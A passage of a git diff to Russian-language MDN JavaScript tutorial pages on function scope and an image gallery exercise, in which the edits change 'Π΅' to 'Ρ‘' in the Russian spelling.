+ Π’Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ значСния y ΠΈ z, Π²Ρ‹Π²ΠΎΠ΄ΠΈΠΌΡ‹Π΅ Π½Π° страницС. Π­Ρ‚ΠΎ ΠΎΡ‚Π»ΠΈΡ‡Π½ΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ функция <code>output() </code>вызываСтся Π²Π½ΡƒΡ‚Ρ€ΠΈ Π΄Ρ€ΡƒΠ³ΠΈΡ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ - Π² Ρ‚ΠΎΠΉ ΠΆΠ΅ области, Π³Π΄Π΅ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Π΅, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ½Π° ΠΏΠ΅Ρ‡Π°Ρ‚Π°Π΅Ρ‚, ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ΡΡ Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΌ случаС. <code>output()</code> доступСн ΠΈΠ· любого мСста, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΎΠ½ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½ Π² глобальной области.</li>
<li>Π’Π΅ΠΏΠ΅Ρ€ΡŒ ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚ΡŒ свой ΠΊΠΎΠ΄ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:
<pre class="brush: js notranslate">function a() {
var y = 2;
@@ -319,7 +319,7 @@ b();</code></pre>
</div>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Errors/Not_defined">ReferenceError: "x" is not defined</a>. Ошибка - это ΠΎΠ΄Π½Π° ΠΈΠ· Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространСнных ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ, с ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Π²Ρ‹ ΡΡ‚ΠΎΠ»ΠΊΠ½Π΅Ρ‚Π΅ΡΡŒ. Если Π²Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚Π΅ эту ΠΎΡˆΠΈΠ±ΠΊΡƒ, ΠΈ Π²Ρ‹ ΡƒΠ²Π΅Ρ€Π΅Π½Ρ‹, Ρ‡Ρ‚ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠ»ΠΈ эту ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ, ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡŒΡ‚Π΅, Π² ΠΊΠ°ΠΊΠΎΠΉ области ΠΎΠ½Π° находится.</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Errors/Not_defined">ReferenceError: "x" is not defined</a>. Ошибка - это ΠΎΠ΄Π½Π° ΠΈΠ· Π½Π°ΠΈΠ±ΠΎΠ»Π΅Π΅ распространённых ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌ, с ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Π²Ρ‹ ΡΡ‚ΠΎΠ»ΠΊΠ½Ρ‘Ρ‚Π΅ΡΡŒ. Если Π²Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚Π΅ эту ΠΎΡˆΠΈΠ±ΠΊΡƒ, ΠΈ Π²Ρ‹ ΡƒΠ²Π΅Ρ€Π΅Π½Ρ‹, Ρ‡Ρ‚ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠ»ΠΈ эту ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ, ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡŒΡ‚Π΅, Π² ΠΊΠ°ΠΊΠΎΠΉ области ΠΎΠ½Π° находится.</p>
</div>
<ul>
@@ -327,7 +327,7 @@ b();</code></pre>
<h3 id="Π€ΡƒΠ½ΠΊΡ†ΠΈΠΈ_Π²Π½ΡƒΡ‚Ρ€ΠΈ_Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ">Π€ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π²Π½ΡƒΡ‚Ρ€ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ</h3>
-<p>Π˜ΠΌΠ΅ΠΉΡ‚Π΅ Π² Π²ΠΈΠ΄Ρƒ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ ΠΈΠ· любого мСста, Π΄Π°ΠΆΠ΅ Ссли ΠΎΠ½Π°Β Π²Π½ΡƒΡ‚Ρ€ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ.Β  Π­Ρ‚ΠΎ часто ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΠΊΠ°ΠΊ способ поддСрТания чистоты ΠΊΠΎΠ΄Π°. Если Ρƒ вас Π΅ΡΡ‚ΡŒ большая слоТная функция, Π΅Π΅ Π»Π΅Π³Ρ‡Π΅ ΠΏΠΎΠ½ΡΡ‚ΡŒ, Ссли Ρ€Π°Π·Π±ΠΈΡ‚ΡŒ Π΅Π΅ Π½Π° нСсколько ΠΏΠΎΠ΄Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ:</p>
+<p>Π˜ΠΌΠ΅ΠΉΡ‚Π΅ Π² Π²ΠΈΠ΄Ρƒ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ ΠΈΠ· любого мСста, Π΄Π°ΠΆΠ΅ Ссли ΠΎΠ½Π°Β Π²Π½ΡƒΡ‚Ρ€ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ.Β  Π­Ρ‚ΠΎ часто ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΠΊΠ°ΠΊ способ поддСрТания чистоты ΠΊΠΎΠ΄Π°. Если Ρƒ вас Π΅ΡΡ‚ΡŒ большая слоТная функция, Π΅Ρ‘ Π»Π΅Π³Ρ‡Π΅ ΠΏΠΎΠ½ΡΡ‚ΡŒ, Ссли Ρ€Π°Π·Π±ΠΈΡ‚ΡŒ Π΅Ρ‘ Π½Π° нСсколько ΠΏΠΎΠ΄Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ:</p>
<pre class="brush: js notranslate">function myBigFunction() {
var myValue;
@@ -350,7 +350,7 @@ function subFunction3() {
}
</pre>
-<p>ΠŸΡ€ΠΎΡΡ‚ΠΎ ΡƒΠ±Π΅Π΄ΠΈΡ‚Π΅ΡΡŒ, Ρ‡Ρ‚ΠΎ значСния, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Π΅ Π²Π½ΡƒΡ‚Ρ€ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, находятся Π² области видимости. Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ выдаСтся ошибка <code>ReferenceError: MyValue is not defined</code>, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ хотя пСрСмСнная <code>myValue</code> ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π° Π² Ρ‚ΠΎΠΉ ΠΆΠ΅ области, Ρ‡Ρ‚ΠΎ ΠΈ Π²Ρ‹Π·ΠΎΠ²Ρ‹ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, ΠΎΠ½Π° Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π° Π² опрСдСлСниях Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ - фактичСский ΠΊΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ запускаСтся ΠΏΡ€ΠΈ Π²Ρ‹Π·ΠΎΠ²Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ. Π§Ρ‚ΠΎΠ±Ρ‹ это Ρ€Π°Π±ΠΎΡ‚Π°Π»ΠΎ, Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ Π² качСствС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ‚Π°ΠΊ:</p>
+<p>ΠŸΡ€ΠΎΡΡ‚ΠΎ ΡƒΠ±Π΅Π΄ΠΈΡ‚Π΅ΡΡŒ, Ρ‡Ρ‚ΠΎ значСния, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹Π΅ Π²Π½ΡƒΡ‚Ρ€ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, находятся Π² области видимости. Π’ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ выдаётся ошибка <code>ReferenceError: MyValue is not defined</code>, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ хотя пСрСмСнная <code>myValue</code> ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π° Π² Ρ‚ΠΎΠΉ ΠΆΠ΅ области, Ρ‡Ρ‚ΠΎ ΠΈ Π²Ρ‹Π·ΠΎΠ²Ρ‹ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, ΠΎΠ½Π° Π½Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π° Π² опрСдСлСниях Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ - фактичСский ΠΊΠΎΠ΄, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ запускаСтся ΠΏΡ€ΠΈ Π²Ρ‹Π·ΠΎΠ²Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ. Π§Ρ‚ΠΎΠ±Ρ‹ это Ρ€Π°Π±ΠΎΡ‚Π°Π»ΠΎ, Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ Π² качСствС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Ρ‚Π°ΠΊ:</p>
<pre class="brush: js notranslate">function myBigFunction() {
var myValue = 1;
diff --git a/files/ru/learn/javascript/building_blocks/image_gallery/index.html b/files/ru/learn/javascript/building_blocks/image_gallery/index.html
index 0c75cf24fc..e79c0d26db 100644
--- a/files/ru/learn/javascript/building_blocks/image_gallery/index.html
+++ b/files/ru/learn/javascript/building_blocks/image_gallery/index.html
@@ -73,7 +73,7 @@ translation_of: Learn/JavaScript/Building_blocks/Image_gallery
<ul>
<li>ΠŸΠ΅Ρ€Π΅Π±Π΅Ρ€ΠΈΡ‚Π΅ всС изобраТСния, ΠΈ для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Π²ΡΡ‚Π°Π²ΡŒΡ‚Π΅ элСмСнт <code>&lt;img&gt;</code> Π²Π½ΡƒΡ‚Ρ€ΠΈΒ <code>thumb-bar &lt;div&gt;</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ Π²ΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ это ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ Π½Π° страницу.</li>
<li>ΠŸΡ€ΠΈΠΊΡ€Π΅ΠΏΠΈΡ‚Π΅ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ <code>onclick</code> ΠΊ ΠΊΠ°ΠΆΠ΄ΠΎΠΌΡƒ <code>&lt;img&gt;</code> Π²Π½ΡƒΡ‚Ρ€ΠΈ <code>thumb-bar &lt;div&gt;</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΈΒ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ Π½Π° Π½ΠΈΡ… ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π΅ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π»ΠΎΡΡŒ Π² элСмСнтС <code>display-img &lt;img&gt;</code>.</li>
- <li>ΠŸΡ€ΠΈΠΊΡ€Π΅ΠΏΠΈΡ‚Π΅ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ <code>onclick</code> ΠΊ ΠΊΠ½ΠΎΠΏΠΊΠ΅ <code>&lt;button&gt;</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΈ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ Π½Π° Π½Π΅Π΅ ΠΊ ΠΏΠΎΠ»Π½ΠΎΡ€Π°Π·ΠΌΠ΅Ρ€Π½ΠΎΠΌΡƒ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡŽ Π±Ρ‹Π» ΠΏΡ€ΠΈΠΌΠ΅Π½Π΅Π½ эффСкт затСмнСния. ΠŸΡ€ΠΈ ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎΠΌ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ эффСкт затСмнСния снова удаляСтся.</li>
+ <li>ΠŸΡ€ΠΈΠΊΡ€Π΅ΠΏΠΈΡ‚Π΅ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ <code>onclick</code> ΠΊ ΠΊΠ½ΠΎΠΏΠΊΠ΅ <code>&lt;button&gt;</code>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΈ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ Π½Π° Π½Π΅Ρ‘ ΠΊ ΠΏΠΎΠ»Π½ΠΎΡ€Π°Π·ΠΌΠ΅Ρ€Π½ΠΎΠΌΡƒ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΡŽ Π±Ρ‹Π» ΠΏΡ€ΠΈΠΌΠ΅Π½Ρ‘Π½ эффСкт затСмнСния. ΠŸΡ€ΠΈ ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎΠΌ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ эффСкт затСмнСния снова удаляСтся.</li>
</ul>
<p>Π§Ρ‚ΠΎΠ±Ρ‹ Π»ΡƒΡ‡ΡˆΠ΅ ΠΏΠΎΠ½ΡΡ‚ΡŒ идСю, посмотритС Π½Π° <a href="https://mdn.github.io/learning-area/javascript/building-blocks/gallery/">Π³ΠΎΡ‚ΠΎΠ²Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€</a> (Π½Π΅ заглядывая Π² исходный ΠΊΠΎΠ΄!).</p>
@@ -98,9 +98,9 @@ translation_of: Learn/JavaScript/Building_blocks/Image_gallery
<p>Π’ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΠΈ Ρ†ΠΈΠΊΠ»Π° Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ <code>onclick</code> ΠΊ Ρ‚Π΅ΠΊΡƒΡ‰Π΅ΠΌΡƒ <code>newImage</code>:</p>
<ol>
- <li>НайдитС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° <code>src</code> Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ изобраТСния. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ, запустив Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/Element/getAttribute">getAttribute()</a></code> Π² <code>&lt;img&gt;</code> Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΌ случаС ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Π² Π΅ΠΉ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ <code>Β«srcΒ»</code> Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΌ случаС. Но ΠΊΠ°ΠΊ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅? ИспользованиС <code>newImage</code> Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊΒ Ρ†ΠΈΠΊΠ» Π·Π°Π²Π΅Ρ€ΡˆΠ°Π΅Ρ‚ΡΡ Π΄ΠΎ примСнСния ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ² событий; это ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚ ΠΊ Ρ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>src</code> послСднСго <code>&lt;img&gt;</code> Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π΅Π½ΠΎ Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΌ случаС. Π§Ρ‚ΠΎΠ±Ρ‹ Ρ€Π΅ΡˆΠΈΡ‚ΡŒ это, ΠΈΠΌΠ΅ΠΉΡ‚Π΅ Π² Π²ΠΈΠ΄Ρƒ, Ρ‡Ρ‚ΠΎ Π² случаС ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° события <code>&lt;img&gt;</code> являСтся Ρ†Π΅Π»ΡŒΡŽ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°. Как ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎΡ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° события?</li>
+ <li>НайдитС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° <code>src</code> Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π³ΠΎ изобраТСния. Π­Ρ‚ΠΎ ΠΌΠΎΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ, запустив Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/Element/getAttribute">getAttribute()</a></code> Π² <code>&lt;img&gt;</code> Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΌ случаС ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Π² Π΅ΠΉ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ <code>Β«srcΒ»</code> Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΌ случаС. Но ΠΊΠ°ΠΊ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΈΠ·ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅? ИспользованиС <code>newImage</code> Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊΒ Ρ†ΠΈΠΊΠ» Π·Π°Π²Π΅Ρ€ΡˆΠ°Π΅Ρ‚ΡΡ Π΄ΠΎ примСнСния ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠΎΠ² событий; это ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ ΠΊ Ρ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>src</code> послСднСго <code>&lt;img&gt;</code> Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π΅Π½ΠΎ Π² ΠΊΠ°ΠΆΠ΄ΠΎΠΌ случаС. Π§Ρ‚ΠΎΠ±Ρ‹ Ρ€Π΅ΡˆΠΈΡ‚ΡŒ это, ΠΈΠΌΠ΅ΠΉΡ‚Π΅ Π² Π²ΠΈΠ΄Ρƒ, Ρ‡Ρ‚ΠΎ Π² случаС ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° события <code>&lt;img&gt;</code> являСтся Ρ†Π΅Π»ΡŒΡŽ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°. Как ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎΡ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° события?</li>
<li>ЗапуститС Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, ΠΏΠ΅Ρ€Π΅Π΄Π°Π² Π΅ΠΉ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>src</code> Π² качСствС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²Ρ‹Π·Π²Π°Ρ‚ΡŒ эту Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, ΠΊΠ°ΠΊ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅.</li>
- <li>Π­Ρ‚Π° функция ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° событий Π΄ΠΎΠ»ΠΆΠ½Π° ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° <code>src</code> <code>displayed-img &lt;img&gt;</code> Ρ€Π°Π²Π½Ρ‹ΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΡŽ <code>src</code>, ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½ΠΎΠΌΡƒ Π² качСствС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°. ΠœΡ‹ ΡƒΠΆΠ΅ прСдоставили Π²Π°ΠΌ строку, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ хранится ссылка Π½Π° ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ <code>&lt;img&gt;</code> Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ с ΠΈΠΌΠ΅Π½Π΅ΠΌ <code>displayedImg</code>. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ здСсь Π½Π°ΠΌ Π½ΡƒΠΆΠ½Π° опрСдСлСнная имСнованная функция.</li>
+ <li>Π­Ρ‚Π° функция ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° событий Π΄ΠΎΠ»ΠΆΠ½Π° ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° <code>src</code> <code>displayed-img &lt;img&gt;</code> Ρ€Π°Π²Π½Ρ‹ΠΌ Π·Π½Π°Ρ‡Π΅Π½ΠΈΡŽ <code>src</code>, ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½ΠΎΠΌΡƒ Π² качСствС ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°. ΠœΡ‹ ΡƒΠΆΠ΅ прСдоставили Π²Π°ΠΌ строку, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ хранится ссылка Π½Π° ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ <code>&lt;img&gt;</code> Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ с ΠΈΠΌΠ΅Π½Π΅ΠΌ <code>displayedImg</code>. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ здСсь Π½Π°ΠΌ Π½ΡƒΠΆΠ½Π° опрСдСлённая имСнованная функция.</li>
</ol>
<h3 id="НаписаниС_ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°_ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ_запускаСт_ΠΊΠ½ΠΎΠΏΠΊΡƒ_затСмнСния_подсвСтки">НаписаниС ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ запускаСт ΠΊΠ½ΠΎΠΏΠΊΡƒ затСмнСния / подсвСтки</h3>
@@ -110,7 +110,7 @@ translation_of: Learn/JavaScript/Building_blocks/Image_gallery
<ol>
<li>ΠŸΡ€ΠΎΠ²Π΅Ρ€ΡΠ΅Ρ‚ Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π΅ имя класса, установлСнноС Π½Π° ΠΊΠ½ΠΎΠΏΠΊΠ΅ <code>&lt;button&gt;</code> β€” для этого снова ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ <code>getAttribute()</code>.</li>
<li>Если имя класса <code>"dark"</code>, измСняСт класс <code>&lt;button&gt;</code> Π½Π° <code>"light"</code> (с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/Element/setAttribute">setAttribute()</a></code>), Π΅Π³ΠΎ тСкстовоС содСрТимоС Π½Π° "Π‘Π²Π΅Ρ‚Π»Π΅Π΅" ΠΈ {{cssxref("background-color")}} налоТСния <code>&lt;div&gt;</code> Π½Π°Β <code>"rgba (0,0,0,0.5)"</code>.</li>
- <li>Если имя класса Π½Π΅ Β«Ρ‚Π΅ΠΌΠ½ΠΎΠ΅Β», измСняСт класс <code>&lt;button&gt;</code> Π½Π° <code>"dark"</code>, Π΅Π³ΠΎ тСкстовоС содСрТимоС ΠΎΠ±Ρ€Π°Ρ‚Π½ΠΎ Π½Π° "Π’Π΅ΠΌΠ½Π΅Π΅" ΠΈ {{cssxref("background-color")}} налоТСния <code>&lt;div&gt;</code> Π½Π° <code>"rgba(0,0,0,0)"</code>.</li>
